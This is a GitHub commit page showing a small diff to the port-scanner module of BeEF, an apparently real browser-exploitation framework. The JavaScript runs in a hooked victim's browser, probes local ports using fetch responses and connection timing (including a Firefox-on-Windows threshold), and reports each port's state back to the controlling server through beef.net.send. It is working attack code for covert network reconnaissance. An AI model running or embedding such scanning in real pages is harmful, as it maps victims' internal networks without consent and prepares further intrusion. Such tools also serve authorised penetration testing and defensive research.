Skip to content

Commit

Permalink
Merge pull request #1898 from beefproject/update_sw_port_scanner_module
Browse files Browse the repository at this point in the history
updated command.js for sw_network_proxy
  • Loading branch information
jcrew99 authored Apr 6, 2020
2 parents e445a2c + 378728a commit 5841265
Showing 1 changed file with 12 additions and 1 deletion.
13 changes: 12 additions & 1 deletion modules/network/sw_port_scanner/command.js
Original file line number Diff line number Diff line change
Expand Up @@ -83,7 +83,7 @@ beef.execute(function() {
.then(function(res){
// If there is a status returned then Mozilla Firefox 68.5.0esr made a successful connection HTTP based or not
// and or Chrome received HTTP based traffic.
if (res.status === 0) {
if (res.status === 0) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open", beef.are.status_success());
}
})
Expand All @@ -99,9 +99,20 @@ beef.execute(function() {
// A basic browser check so that we don't do timing based stuff on Firefox as it is not needed
var isFirefox = typeof InstallTrigger !== 'undefined';
if (isFirefox === true) {
if (navigator.platform === 'Win32') {
if ((end - start) > 600 ) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success());
}
else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but not HTTP", beef.are.status_success());
}
}
else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success());
}
}
else {
// console.log('does it work')
// // console.log(end-start)
// // This is a little sketchy but the only way to tell in Chrome/Chromium if the port is open. Basically sub 11ms connection was refused
// // check if windows or linux
Expand Down

0 comments on commit 5841265

Please sign in to comment.